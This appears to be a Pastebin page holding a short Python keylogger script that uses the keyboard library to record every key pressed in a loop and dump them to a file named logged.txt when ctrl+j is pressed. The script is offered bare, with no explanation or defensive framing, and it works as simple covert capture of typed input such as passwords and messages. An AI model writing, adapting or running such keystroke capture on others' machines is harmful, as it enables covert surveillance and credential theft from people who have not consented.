Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import keyboard
- keys = []
- while True:
- hotkey = keyboard.read_hotkey(suppress=False)
- key = keyboard.read_key(suppress=False)
- if hotkey == 'ctrl+j':
- f = open('logged.txt', 'w+')
- for x in range(0, len(keys)):
- f.write(keys[x])
- f.close()
- break
- elif key != None:
- keys.append(key)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement